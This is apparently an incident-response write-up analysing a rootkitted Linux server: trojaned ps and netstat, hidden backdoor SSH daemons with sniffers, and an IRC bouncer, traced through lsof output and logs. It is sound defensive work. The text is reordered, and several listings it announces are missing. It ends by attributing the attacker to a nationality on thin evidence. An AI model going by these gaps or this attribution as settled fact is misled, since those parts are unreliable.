2. Perimeter analysis
2.1 Setup
2.2 Nmap
2.3 Nessus
3. Filesystem analysis
3.1 Setup
3.2 Reading interesting files
3.3 Modified or missing files
3.4 Recovering added files
3.5 Analysis of added files : attack phase 1
3.6 Analysis of added files : attack phase 2
3.7 Analysis of added files : attack phase 3
3.8 Analysis of added files : attack phase 4
3.9 String search for "(swapd)" on the disk surface
3.10 String search for "sp0" on the disk surface
Now, we must establish a secure environment for the live test of the compromised system. We don't want it to have a
network access to the VMWare host and the rest of our network. By default (and that's what is used in the compromised host's case)
VMWare offers Bridged networking (through /dev/vmnet0), which means complete LAN access to the guest.
We will change this so that the system only accesses a virtual switch (/dev/vmnet2) on a closed virtual network.
This requires manual editing of the linux.vmx file (change /dev/vmnet0 to /dev/vmnet2), since the VMWare GUI doesn't allow you to change
parameters of a suspended virtual machine.
We start the virtual machine and we take a VMWare snapshot. Using the "revert to snapshot" feature, we will be able to revert back to this original state later. This will allow us to minimize the impact of our actions during the analysis.
Now, there is a high probability that we have a root-compromised host. Nothing we see while running this host can be trusted,
as system commands may have been trojaned to report false info. Let's check the md5sum to popular status commands like ps
and netstat. md5sum may also have been trojaned so if it says everything is OK we can't trust it. But if md5sum reports a difference,
then we are sure some commands have been modified...
Finally, let's crosscheck the trojaned 'ps' process list with what the kernel reports...
/proc contains a directory for each running process, and from there we can see that at least PIDs 845 3137 3153 are hidden in the trojaned 'ps' output. This definitely confirms the machine has been compromised. To get more information, we'll have to install 'lsof', a very useful command to list resources used by a running process. If there isn't a lower-level rootkit installed, it may report some useful information.
Now it's time to crosscheck all this information (coming from a compromised host, with compromised
system commands and probably modified logs) with more trusted sources.
Looking at the dates, the FTP connection(s)
were probably used to download the psyBNC package. The port 23 connection is a little stranger : some
research
on www.undernet.org shows that Undernet has the policy
to scan for open proxies on the clients connecting to it. The connection observed is a scan for a Wingate proxy,
due to the client connection from our compromised host to an Undernet IRC server we've already observed in the
psybnc.log at 16:04:06. The 'k' logged is probably a username and/or password used in the scan.
The rest of the file allows us to establish a timeline of different phases of the attack (difficult to say for now if they are from the same attacker or from multiple attackers). Note that the files modification date (used for sorting) could have been altered by the attacker, but they don't appear to have been altered at all : all the dates are confirmed by all the other information sources (logs, PID numbers) we already recovered.
Here is the end of the added files :
To finish, let's see if we can find more information on the attacker(s) on the disk raw data.
(swapd) appears in four fragments : 112745 (not allocated), 136758 (/usr/bin directory), 200610 (/usr/bin/logclear) and 201083 (not allocated). 112745 is the already-retrieved old /var/log/messages. Fragment 201083 (and following fragment 201084) are much more interesting. Here is the contents of this file :
There are a lot of other strings we could look for, but it's now time to answer the questions !
The process I use to confirm that the live host was compromised is presented in detail in section 1.2.
I first established that some system commands were modified, and proved that they were modified to hide information on currently
running processes. To reduce the impact on the running system, this was established using only available system commands.
Before the compromise was confirmed, I minimized my trust in the system by isolating it on a separate VMWare virtual network.
Once the compromise has been confirmed, I reduced my trust in the system by systematically considering that information
reported by the commands passed in live analysis have to be confirmed by trusted operations (perimeter analysis and
filesystem analysis).
In addition of using available system commands, I then proceeded in installing 'lsof' to look for
active servers and connections and list open resources of suspicious PIDs. All this activity
has modified disk-related information (added files, used/overwritten hard disk space). To be able to look at an unmodified compromised
host during perimeter and filesystem analysis, I used the VMWare snapshot feature to systematically revert back to the
original state before proceeding. That way, live analysis actions did not have any effect on later analysis.
This was first established using lsof during live analysis, and that information was later confirmed during perimeter analysis using an nmap portscan.
The PIDs of processes using non RedHat 7.2 default ports are : 3137 (listening to TCP port 2003), 15119 (listening to TCP ports 65336 and 65436), 25239 (listening to UDP port 3049) and 25241 (listening to TCP port 3128).
In addition, the following PIDs were all found listening to standard http (TCP 80) and https (TCP 443) ports, without being a web server : 3137, 3153, 25239, 25241 and 25247.
The lsof output obtained in section 1.3 shows three established connections :
192.168.1.79:65336->213.154.118.200:1188
The first one is a connection from sanido-08.is.pcnet.ro to process 15119, the others are connections
from the same process to two Undernet IRC servers (fairfax.va.us.undernet.org and mesa.az.us.undernet.org according to
the psybnc.log file). I established that process 15119 is an IRC anonymizer which
proxies client connections to IRC servers. The user connects from sanido-08.is.pcnet.ro to our IRC proxy, and uses it to connect to the real IRC servers, thus hiding his identity behind our IP address.
Examination of the added files and the server type identification in the Nessus scan show that 3 different instances of an SSH server were installed by the attacker(s) : /usr/bin/smbd -D at 13:33:33,
/usr/lib/sp0 at 15:30:54, and /lib/.x/s/xopen at 15:32:16.
Only /usr/bin/smbd -D and /lib/.x/s/xopen have been run (and were still running). There is no evidence proving that "/usr/lib/sp0" was ever run.
"/usr/bin/smbd -D" and "/lib/.x/s/xopen" are more than SSH servers : using promiscuous mode and a companion logger
process, they both collect information about attempted clear-text connections on the same network. "/usr/bin/smbd -D" uses
"/usr/bin/(swapd)" to log to "/usr/lib/libice.log", and "/lib/.x/s/xopen" uses "/lib/.x/s/lsn" to log to "/lib/.x/s/mfs".
Examination of these log files show that only information related to the activity of the hacker (an FTP download and a
reverse proxyscan connection from an IRC server) was collected.
Determination of modified files shows that ifconfig, ls, ps, netstat and top were modified.
Examination of the files installed during the first phase of the attack reveals that they use 3 configuration
files : /dev/ttyof and /dev/ttyop for file names and process names to hide, and /dev/ttyoa
for IP addresses and ports to hide.
The Nessus report points to several weaknesses (still open during the time of perimeter analysis) that could have been used for the initial compromise.
However, the recovered Apache log files show that the first attack began with a known mod_ssl version probe, and we know
from the Nessus report that the OpenSSL version used can be abused using a buffer overflow attack. Moreover, some of the files on the disk downloaded by the attack scripts still have the Apache userID. And finally, the first actions
of the attacker when he finally used a shell were to close the Apache SSL server.
All this leads me to the conclusion that the system was compromised multiple times using an OpenSSL hole, accessed through the Apache webserver. This gave the attacker script a local apache-owned shell (hence the Apache-owned files), from which he used one of the local root exploits cited in the Nessus report (Samba or more probably OpenSSH again) to gain root access.
We must first try to deduce if the phases we observed are the result of multiple uncoordinated attackers, or a single disorganized attacker using multiple automated attack tools which conflict with one anothers. Using the added files analysis we determined 4 distinct attack phases, with the following information :
Phase 1 :
Phase 2 :
Phase 3 :
Phase 4 :
Phase 1 and 4 point to the same attacker (same range of dialup IP addresses used). Phase 2 and 4 use the same download location (izolam.net). I have no proof that the attacker in phase 3 is the same as the others, but there is a high probability that all these attacks come from the same script-kiddie attacker, which successively tried several automated tools to gain root access from the OpenSSL vulnerability. The net result of these conflicting actions is that the compromises are only partly hidden by the rootkits used. Using the same tools, a more experienced attacker could have covered his tracks much more efficiently. Here obviously the attacker was just looking for a way to install an IRC bouncer, and was not interested in discretion. Some of his tracks just happen to have been hidden by the automated tools.
The attacks and the users all came from pcnet.ro (a Romanian Internet provider) and the language of the first script looks a lot like Romanian. From these elements I can reasonably say that there is a single attacker, and that he is from Romania.
1. Live system analysis
1.1 Setup
First of all, we download the files and check that the MD5s are correct, then uncompress the virtual machine.1.2 Direct analysis
First, we'll have a look at the logfiles directory to see if there is something suspicious there.
[root@localhost root]# ls -l /var/log
total 32
-rw------- 1 root root 676 Aug 10 15:54 boot.log
-rw------- 1 root root 3665 Aug 10 20:30 cron
-rw------- 1 root root 16694 Aug 10 20:30 maillog
lrwxrwxrwx 1 root root 9 Aug 10 15:30 messages -> /dev/null
-rw------- 1 root root 179 Aug 10 18:58 secure
-rw------- 1 root root 0 Aug 10 13:33 spooler
-rw-r--r-- 1 root root 0 Aug 10 13:33 wtmp
Apparently, the 'messages' log file is symlinked to /dev/null, so messages are no longer logged. We can consider that
log information might have been altered. We'll see later if we can recover the lost 'messages' log.
[root@localhost root]# md5sum `which ps`
a71c756f78583895afe7e03336686f8b /bin/ps
[root@localhost root]# md5sum `which netstat`
c0e8b6ff00433730794eda274c56de3f /bin/netstat
Here is what the linux-suspended-md5s file recorded for these files :
tcarrez@home SotM $ grep ' /bin/ps' linux-suspended-md5s
881c7af31f6f447e29820fb73dc1dd9a /bin/ps
tcarrez@home SotM $ grep ' /bin/netstat' linux-suspended-md5s
0ea03807e53e90b147c4309573ebc76a /bin/netstat
The md5sums for these two commands have changed... Those two have been trojaned, probably to hide some processes and
network connections. Let's see what the trojaned 'netstat' returns :
[root@localhost root]# netstat -tuln
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 192.168.1.79:65336 213.154.118.200:1188 ESTABLISHED
tcp 0 0 0.0.0.0:65436 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:3128 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:65336 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:2003 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:113 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:79 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN
udp 0 0 0.0.0.0:3049 0.0.0.0:*
udp 0 0 0.0.0.0:138 0.0.0.0:*
udp 0 0 192.168.1.79:138 0.0.0.0:*
udp 0 0 0.0.0.0:137 0.0.0.0:*
udp 0 0 192.168.1.79:137 0.0.0.0:*
The information is probably modified, but it still shows suspicious things, like listening servers on non-standard ports
TCP 2003 65336 and 65436 and UDP 3049. What does the trojaned 'ps' say ?
[root@localhost root]# ps axlw
FLAGS UID PID PPID PRI NI SIZE RSS WCHAN STA TTY TIME COMMAND
100 0 1 0 8 0 1412 520 do_select S ? 0:05 init
40 0 4 0 19 19 0 0 ksoftirqd SWN ? 0:00 [ksoftirqd_CPU0]
840 0 6 0 9 0 0 0 kreclaimd SW ? 0:00 [kreclaimd]
40 0 7 0 9 0 0 0 bdflush SW ? 0:00 [bdflush] ...
40 0 2 1 9 0 0 0 context_thr SW ? 0:00 [keventd] ...
40 0 9 1 -1 -20 0 0 md_thread SW< ? 0:00 [mdrecoveryd]
40 0 17 1 10 0 0 0 end SW ? 0:04 [kjournald]
40 0 92 1 9 0 0 0 end SW ? 0:00 [khubd]
140 0 657 1 8 0 1396 524 do_select S ? 0:00 /usr/sbin/apmd ...
140 98 677 1 9 0 26932 944 wait_for_co S ? 0:00 identd -e -o
140 0 699 1 9 0 2676 1272 do_select S ? 0:00 /usr/sbin/sshd
140 0 732 1 9 0 2264 956 do_select S ? 0:00 xinetd -stayalive ...
140 0 759 1 13 0 5296 1984 do_select S ? 0:00 sendmail: accepting connections
140 0 778 1 9 0 1440 496 do_select S ? 0:00 gpm -t ps/2 -m /dev/mouse
40 0 820 1 8 0 1584 660 nanosleep S ? 0:00 crond
140 0 850 1 9 0 2416 1084 do_select S ? 0:00 nmbd -D
100 0 893 1 9 0 2320 1076 wait4 S 1 0:00 login --root
100 0 894 1 9 0 1384 448 read_chan S 2 0:00 /sbin/mingetty tty2
100 0 895 1 9 0 1384 448 read_chan S 3 0:00 /sbin/mingetty tty3
100 0 896 1 9 0 1384 448 read_chan S 4 0:00 /sbin/mingetty tty4
100 0 899 1 9 0 1384 448 read_chan S 5 0:00 /sbin/mingetty tty5
100 0 900 1 9 0 1384 448 read_chan S 6 0:00 /sbin/mingetty tty6
40 0 3247 1 9 0 1472 592 do_select S ? 0:00 syslogd -m 0
140 0 3252 1 9 0 1984 1096 do_syslog S ? 0:00 klogd -2
40 0 15119 1 11 0 2296 1240 do_poll S ? 0:00 initd
40 0 25239 1 9 0 1880 336 wait_for_pa S ? 0:00 /lib/.x/s/xopen -q -p 3128
40 0 25241 1 9 0 1888 672 do_select S ? 0:00 /lib/.x/s/xopen -q -p 3128
140 0 25247 1 9 0 1668 732 wait_for_pa S ? 0:00 /lib/.x/s/lsn
40 98 685 677 9 0 26932 944 do_poll S ? 0:00 identd -e -o
40 98 686 685 9 0 26932 944 rt_sigsuspe S ? 0:00 identd -e -o
40 98 695 685 9 0 26932 944 rt_sigsuspe S ? 0:00 identd -e -o
40 98 696 685 9 0 26932 944 rt_sigsuspe S ? 0:00 identd -e -o
100 0 901 893 17 0 2444 1276 wait4 S 1 0:00 -bash
100000 0 15383 901 19 0 1912 632 R 1 0:00 ps axlw
Same as above, information is probably modified, but some suspicious things remain apparent,
like those /lib/.x/s-located processes.1.3 Installing lsof and listing open ports
We download a RedHat-7.2-compatible lsof RPM. To minimize the impact on the running system, we don't want to install the RPM the
classic way, so we transform the rpm to tar.gz using rpm2targz and copy it to a floppy disk. Then we revert to the
original VMWare snapshot to get a fresh setup with fresh current connections, untar the file from the floppy, and here is what we get for
listening servers and open connections :
[root@localhost root]# mount -t minix /dev/fd /mnt/floppy
[root@localhost root]# tar zxvf /mnt/floppy/lsof-4.51-2.i386.tar.gz
[root@localhost root]# usr/sbin/lsof -i -n
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
identd 677 root 4u IPv4 836 TCP *:auth (LISTEN)
identd 685 root 4u IPv4 836 TCP *:auth (LISTEN)
identd 686 root 4u IPv4 836 TCP *:auth (LISTEN)
identd 695 root 4u IPv4 836 TCP *:auth (LISTEN)
identd 696 root 4u IPv4 836 TCP *:auth (LISTEN)
sshd 699 root 3u IPv4 860 TCP *:ssh (LISTEN)
xinetd 732 root 3u IPv4 881 TCP *:finger (LISTEN)
xinetd 732 root 4u IPv4 882 TCP *:telnet (LISTEN)
xinetd 732 root 5u IPv4 883 TCP *:ftp (LISTEN)
sendmail 759 root 4u IPv4 925 TCP 127.0.0.1:smtp (LISTEN)
smbd 845 root 9u IPv4 1015 TCP *:netbios-ssn (LISTEN)
nmbd 850 root 6u IPv4 1025 UDP *:netbios-ns
nmbd 850 root 7u IPv4 1026 UDP *:netbios-dgm
nmbd 850 root 8u IPv4 1028 UDP 192.168.1.79:netbios-ns
nmbd 850 root 9u IPv4 1029 UDP 192.168.1.79:netbios-dgm
smbd 3137 root 6u IPv4 4571 TCP *:cfinger (LISTEN)
smbd 3137 root 16u IPv4 976 TCP *:https (LISTEN)
smbd 3137 root 17u IPv4 977 TCP *:http (LISTEN)
(swapd) 3153 root 16u IPv4 976 TCP *:https (LISTEN)
(swapd) 3153 root 17u IPv4 977 TCP *:http (LISTEN)
initd 15119 root 3u IPv4 15617 TCP *:65336 (LISTEN)
initd 15119 root 5u IPv4 15619 TCP *:65436 (LISTEN)
initd 15119 root 6u IPv4 16157 TCP 192.168.1.79:65336->213.154.118.200:1188 (ESTABLISHED)
initd 15119 root 9u IPv4 15909 TCP 192.168.1.79:1146->199.184.165.133:ircd (ESTABLISHED)
initd 15119 root 12u IPv4 16191 TCP 192.168.1.79:1149->64.62.96.42:ircd (ESTABLISHED)
xopen 25239 root 8u IPv4 9972 UDP *:3049
xopen 25239 root 16u IPv4 976 TCP *:https (LISTEN)
xopen 25239 root 17u IPv4 977 TCP *:http (LISTEN)
xopen 25241 root 8u IPv4 12302 TCP *:squid (LISTEN)
xopen 25241 root 16u IPv4 976 TCP *:https (LISTEN)
xopen 25241 root 17u IPv4 977 TCP *:http (LISTEN)
lsn 25247 root 16u IPv4 976 TCP *:https (LISTEN)
lsn 25247 root 17u IPv4 977 TCP *:http (LISTEN)
Comparing this output with what 'netstat' returned, we can see that several open connections and listening servers were
hidden in the trojaned output. We also discover the PIDs of the process listening to the ports. Our list of suspicious processes grows :
PIDs 3137 3153 15119 25239 25241 25247 are all listening to ports they probably shouldn't.1.4 Using lsof to list open resources on suspicious processes
Let's use lsof on all suspicious processes to see what resources they use.
[root@localhost root]# usr/sbin/lsof -p 3137
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
smbd 3137 root cwd DIR 8,1 4096 2 /
smbd 3137 root rtd DIR 8,1 4096 2 /
smbd 3137 root txt REG 8,1 672527 92030 /usr/bin/smbd -D
smbd 3137 root mem REG 8,1 485171 44656 /lib/ld-2.2.4.so
smbd 3137 root mem REG 8,1 436784 44674 /lib/libnsl-2.2.4.so
smbd 3137 root mem REG 8,1 85115 44667 /lib/libcrypt-2.2.4.so
smbd 3137 root mem REG 8,1 47872 44709 /lib/libutil-2.2.4.so
smbd 3137 root mem REG 8,1 5772268 44650 /lib/i686/libc-2.2.4.so
smbd 3137 root 0u CHR 1,3 31876 /dev/null
smbd 3137 root 1u CHR 1,3 31876 /dev/null
smbd 3137 root 2u CHR 1,3 31876 /dev/null
smbd 3137 root 3u REG 8,1 0 3187 /var/run/httpd.mm.800.sem (deleted)
smbd 3137 root 4u REG 8,1 0 45309 /var/log/httpd/ssl_scache.sem (deleted)
smbd 3137 root 5u sock 0,0 3626 can't identify protocol
smbd 3137 root 6u IPv4 4571 TCP *:cfinger (LISTEN)
smbd 3137 root 15w REG 8,1 23335716 46935 /var/log/httpd/error_log (deleted)
smbd 3137 root 16u IPv4 976 TCP *:https (LISTEN)
smbd 3137 root 17u IPv4 977 TCP *:http (LISTEN)
smbd 3137 root 18w REG 8,1 22795530 46914 /var/log/httpd/ssl_engine_log (deleted)
smbd 3137 root 19w REG 8,1 0 45308 /var/log/httpd/ssl_mutex.800 (deleted)
smbd 3137 root 20w REG 8,1 253 46934 /var/log/httpd/access_log (deleted)
smbd 3137 root 21w REG 8,1 253 46934 /var/log/httpd/access_log (deleted)
smbd 3137 root 22w REG 8,1 0 46916 /var/log/httpd/ssl_request_log (deleted)
smbd 3137 root 23w REG 8,1 0 45308 /var/log/httpd/ssl_mutex.800 (deleted)
It's called smbd, but it's not the Samba daemon (/usr/sbin/smbd). In fact, it's "/usr/bin/smbd -D",
and it's definitely not a classic SMBD.
It seems to be listening on the TCP 2003, 80 and 443 ports (cfinger,http,https), and it had access to
the (now deleted) files in /var/log/httpd...
[root@localhost root]# usr/sbin/lsof -p 845
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
smbd 845 root cwd DIR 8,1 4096 2 /
smbd 845 root rtd DIR 8,1 4096 2 /
smbd 845 root txt REG 8,1 1342268 62567 /usr/sbin/smbd
smbd 845 root mem REG 8,1 485171 44656 /lib/ld-2.2.4.so
smbd 845 root mem REG 8,1 8192 77076 /etc/samba/secrets.tdb
smbd 845 root mem-r REG 8,1 696 46922 /var/cache/samba/messages.tdb
smbd 845 root mem REG 8,1 65997 44669 /lib/libdl-2.2.4.so
smbd 845 root mem REG 8,1 436784 44674 /lib/libnsl-2.2.4.so
smbd 845 root mem REG 8,1 35424 45479 /lib/libpam.so.0.75
smbd 845 root mem REG 8,1 5772268 44650 /lib/i686/libc-2.2.4.so
smbd 845 root mem-r REG 8,1 8192 46923 /var/cache/samba/connections.tdb
smbd 845 root 0u CHR 1,3 31876 /dev/null
smbd 845 root 1u CHR 1,3 31876 /dev/null
smbd 845 root 2u CHR 1,3 31876 /dev/null
smbd 845 root 3r CHR 1,9 35500 /dev/urandom
smbd 845 root 4u REG 8,1 8192 77076 /etc/samba/secrets.tdb
smbd 845 root 6ww REG 8,1 20 45310 /var/cache/samba/smbd.pid
smbd 845 root 7ur REG 8,1 696 46922 /var/cache/samba/messages.tdb
smbd 845 root 8ur REG 8,1 8192 46923 /var/cache/samba/connections.tdb
smbd 845 root 9u IPv4 1015 TCP *:netbios-ssn (LISTEN)
smbd 845 root 10r FIFO 0,0 1016 pipe
smbd 845 root 11w FIFO 0,0 1016 pipe
smbd 845 root 12w REG 8,1 0 46920 /var/log/samba/smbd.log (deleted)
This one looks like the normal smbd daemon...
It might be hidden in the ps output just because the trojaned 'ps'
has been configured to hide all *smbd* processes.
[root@localhost root]# usr/sbin/lsof -p 3153
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
(swapd) 3153 root cwd DIR 8,1 8192 58884 /usr/bin
(swapd) 3153 root rtd DIR 8,1 4096 2 /
(swapd) 3153 root txt REG 8,1 18439 92033 /usr/bin/(swapd)
(swapd) 3153 root mem REG 8,1 485171 44656 /lib/ld-2.2.4.so
(swapd) 3153 root mem REG 8,1 5772268 44650 /lib/i686/libc-2.2.4.so
(swapd) 3153 root mem REG 8,1 261460 44690 /lib/libnss_files-2.2.4.so
(swapd) 3153 root mem REG 8,1 355236 44698 /lib/libnss_nisplus-2.2.4.so
(swapd) 3153 root mem REG 8,1 436784 44674 /lib/libnsl-2.2.4.so
(swapd) 3153 root mem REG 8,1 72296 44687 /lib/libnss_dns-2.2.4.so
(swapd) 3153 root mem REG 8,1 261196 44703 /lib/libresolv-2.2.4.so
(swapd) 3153 root 0r CHR 1,3 31876 /dev/null
(swapd) 3153 root 1u CHR 3,0 35324 /dev/ttyp0
(swapd) 3153 root 2u CHR 3,0 35324 /dev/ttyp0
(swapd) 3153 root 3u REG 8,1 0 3187 /var/run/httpd.mm.800.sem (deleted)
(swapd) 3153 root 4u REG 8,1 0 45309 /var/log/httpd/ssl_scache.sem (deleted)
(swapd) 3153 root 5u sock 0,0 3626 can't identify protocol
(swapd) 3153 root 6u sock 0,0 4602 can't identify protocol
(swapd) 3153 root 7w REG 8,1 47 77075 /usr/lib/libice.log
(swapd) 3153 root 15w REG 8,1 23335716 46935 /var/log/httpd/error_log (deleted)
(swapd) 3153 root 16u IPv4 976 TCP *:https (LISTEN)
(swapd) 3153 root 17u IPv4 977 TCP *:http (LISTEN)
(swapd) 3153 root 18w REG 8,1 22795530 46914 /var/log/httpd/ssl_engine_log (deleted)
(swapd) 3153 root 19w REG 8,1 0 45308 /var/log/httpd/ssl_mutex.800 (deleted)
(swapd) 3153 root 20w REG 8,1 253 46934 /var/log/httpd/access_log (deleted)
(swapd) 3153 root 21w REG 8,1 253 46934 /var/log/httpd/access_log (deleted)
(swapd) 3153 root 22w REG 8,1 0 46916 /var/log/httpd/ssl_request_log (deleted)
(swapd) 3153 root 23w REG 8,1 0 45308 /var/log/httpd/ssl_mutex.800 (deleted)
Like smbd -D, this one tries to hide behind a well known name - swapd - by calling itself "(swapd)".
Other interesting point, it opens a /usr/lib/libice.log file : we will look at it later during
the filesystem analysis.
[root@localhost root]# usr/sbin/lsof -p 25239
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
xopen 25239 root cwd DIR 8,1 4096 18410 /lib/.x/s
xopen 25239 root rtd DIR 8,1 4096 2 /
xopen 25239 root txt REG 8,1 217667 18413 /lib/.x/s/xopen
xopen 25239 root mem REG 8,1 485171 44656 /lib/ld-2.2.4.so
xopen 25239 root mem REG 8,1 436784 44674 /lib/libnsl-2.2.4.so
xopen 25239 root mem REG 8,1 85115 44667 /lib/libcrypt-2.2.4.so
xopen 25239 root mem REG 8,1 47872 44709 /lib/libutil-2.2.4.so
xopen 25239 root mem REG 8,1 5772268 44650 /lib/i686/libc-2.2.4.so
xopen 25239 root 0u CHR 3,3 35327 /dev/ttyp3
xopen 25239 root 1w REG 8,1 2442 47152 /lib/.x/install.log
xopen 25239 root 2u CHR 3,3 35327 /dev/ttyp3
xopen 25239 root 3u REG 8,1 0 3187 /var/run/httpd.mm.800.sem (deleted)
xopen 25239 root 4u REG 8,1 0 45309 /var/log/httpd/ssl_scache.sem (deleted)
xopen 25239 root 5u sock 0,0 3626 can't identify protocol
xopen 25239 root 6r FIFO 0,0 9970 pipe
xopen 25239 root 7w FIFO 0,0 9970 pipe
xopen 25239 root 8u IPv4 9972 UDP *:3049
xopen 25239 root 15w REG 8,1 23335716 46935 /var/log/httpd/error_log (deleted)
xopen 25239 root 16u IPv4 976 TCP *:https (LISTEN)
xopen 25239 root 17u IPv4 977 TCP *:http (LISTEN)
xopen 25239 root 18w REG 8,1 22795530 46914 /var/log/httpd/ssl_engine_log (deleted)
xopen 25239 root 19w REG 8,1 0 45308 /var/log/httpd/ssl_mutex.800 (deleted)
xopen 25239 root 20w REG 8,1 253 46934 /var/log/httpd/access_log (deleted)
xopen 25239 root 21w REG 8,1 253 46934 /var/log/httpd/access_log (deleted)
xopen 25239 root 22w REG 8,1 0 46916 /var/log/httpd/ssl_request_log (deleted)
xopen 25239 root 23w REG 8,1 0 45308 /var/log/httpd/ssl_mutex.800 (deleted)
This one looks a lot like process 3137, with two notable exceptions : it listens to port UDP 3049
and it opened a file named /lib/.x/install.log. Note that this process wasn't hidden by the trojaned
system commands, which may mean that it wasn't installed by the same attacker.
[root@localhost root]# usr/sbin/lsof -p 25241
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
xopen 25241 root cwd DIR 8,1 4096 2 /
xopen 25241 root rtd DIR 8,1 4096 2 /
xopen 25241 root txt REG 8,1 217667 18413 /lib/.x/s/xopen
xopen 25241 root mem REG 8,1 485171 44656 /lib/ld-2.2.4.so
xopen 25241 root mem REG 8,1 436784 44674 /lib/libnsl-2.2.4.so
xopen 25241 root mem REG 8,1 85115 44667 /lib/libcrypt-2.2.4.so
xopen 25241 root mem REG 8,1 47872 44709 /lib/libutil-2.2.4.so
xopen 25241 root mem REG 8,1 5772268 44650 /lib/i686/libc-2.2.4.so
xopen 25241 root 0u CHR 1,3 31876 /dev/null
xopen 25241 root 1u CHR 1,3 31876 /dev/null
xopen 25241 root 2u CHR 1,3 31876 /dev/null
xopen 25241 root 3u REG 8,1 0 3187 /var/run/httpd.mm.800.sem (deleted)
xopen 25241 root 4u REG 8,1 0 45309 /var/log/httpd/ssl_scache.sem (deleted)
xopen 25241 root 5u sock 0,0 3626 can't identify protocol
xopen 25241 root 6r FIFO 0,0 9970 pipe
xopen 25241 root 7w FIFO 0,0 9970 pipe
xopen 25241 root 8u IPv4 12302 TCP *:squid (LISTEN)
xopen 25241 root 15w REG 8,1 23335716 46935 /var/log/httpd/error_log (deleted)
xopen 25241 root 16u IPv4 976 TCP *:https (LISTEN)
xopen 25241 root 17u IPv4 977 TCP *:http (LISTEN)
xopen 25241 root 18w REG 8,1 22795530 46914 /var/log/httpd/ssl_engine_log (deleted)
xopen 25241 root 19w REG 8,1 0 45308 /var/log/httpd/ssl_mutex.800 (deleted)
xopen 25241 root 20w REG 8,1 253 46934 /var/log/httpd/access_log (deleted)
xopen 25241 root 21w REG 8,1 253 46934 /var/log/httpd/access_log (deleted)
xopen 25241 root 22w REG 8,1 0 46916 /var/log/httpd/ssl_request_log (deleted)
xopen 25241 root 23w REG 8,1 0 45308 /var/log/httpd/ssl_mutex.800 (deleted)
It is another instance of the xopen executable. It listens to the TCP 3128 port (squid).
[root@localhost root]# usr/bin/lsof -p 25247
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
lsn 25247 root cwd DIR 8,1 4096 18410 /lib/.x/s
lsn 25247 root rtd DIR 8,1 4096 2 /
lsn 25247 root mem REG 8,1 485171 44656 /lib/ld-2.2.4.so
lsn 25247 root mem REG 8,1 5772268 44650 /lib/i686/libc-2.2.4.so
lsn 25247 root mem REG 8,1 261460 44690 /lib/libnss_files-2.2.4.so
lsn 25247 root mem REG 8,1 355236 44698 /lib/libnss_nisplus-2.2.4.so
lsn 25247 root mem REG 8,1 436784 44674 /lib/libnsl-2.2.4.so
lsn 25247 root mem REG 8,1 72296 44687 /lib/libnss_dns-2.2.4.so
lsn 25247 root mem REG 8,1 261196 44703 /lib/libresolv-2.2.4.so
lsn 25247 root 0u sock 0,0 9975 can't identify protocol
lsn 25247 root 1w REG 8,1 1224 18417 /lib/.x/s/mfs
lsn 25247 root 3u REG 8,1 0 3187 /var/run/httpd.mm.800.sem (deleted)
lsn 25247 root 4u REG 8,1 0 45309 /var/log/httpd/ssl_scache.sem (deleted)
lsn 25247 root 5u sock 0,0 3626 can't identify protocol
lsn 25247 root 15w REG 8,1 23335716 46935 /var/log/httpd/error_log (deleted)
lsn 25247 root 16u IPv4 976 TCP *:https (LISTEN)
lsn 25247 root 17u IPv4 977 TCP *:http (LISTEN)
lsn 25247 root 18w REG 8,1 22795530 46914 /var/log/httpd/ssl_engine_log (deleted)
lsn 25247 root 19w REG 8,1 0 45308 /var/log/httpd/ssl_mutex.800 (deleted)
lsn 25247 root 20w REG 8,1 253 46934 /var/log/httpd/access_log (deleted)
lsn 25247 root 21w REG 8,1 253 46934 /var/log/httpd/access_log (deleted)
lsn 25247 root 22w REG 8,1 0 46916 /var/log/httpd/ssl_request_log (deleted)
lsn 25247 root 23w REG 8,1 0 45308 /var/log/httpd/ssl_mutex.800 (deleted)
This one looks a lot like the PID 3153, except that it opens a /lib/.x/s/mfs file.
[root@localhost root]# usr/sbin/lsof -p 15119
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
initd 15119 root cwd DIR 8,1 4096 46913 /etc/opt/psybnc
initd 15119 root rtd DIR 8,1 4096 2 /
initd 15119 root txt REG 8,1 214636 47418 /etc/opt/psybnc/initd
initd 15119 root mem REG 8,1 485171 44656 /lib/ld-2.2.4.so
initd 15119 root mem REG 8,1 622317 44652 /lib/i686/libm-2.2.4.so
initd 15119 root mem REG 8,1 261196 44703 /lib/libresolv-2.2.4.so
initd 15119 root mem REG 8,1 5772268 44650 /lib/i686/libc-2.2.4.so
initd 15119 root mem REG 8,1 261460 44690 /lib/libnss_files-2.2.4.so
initd 15119 root mem REG 8,1 355236 44698 /lib/libnss_nisplus-2.2.4.so
initd 15119 root mem REG 8,1 436784 44674 /lib/libnsl-2.2.4.so
initd 15119 root mem REG 8,1 72296 44687 /lib/libnss_dns-2.2.4.so
initd 15119 root 0u CHR 136,0 2 /dev/pts/0
initd 15119 root 1u CHR 136,0 2 /dev/pts/0
initd 15119 root 2u CHR 136,0 2 /dev/pts/0
initd 15119 root 3u IPv4 15617 TCP *:65336 (LISTEN)
initd 15119 root 4w REG 8,1 5537 92097 /etc/opt/psybnc/log/psybnc.log
initd 15119 root 5u IPv4 15619 TCP *:65436 (LISTEN)
initd 15119 root 6u IPv4 16157 TCP 192.168.1.79:65336->213.154.118.200:1188 (ESTABLISHED)
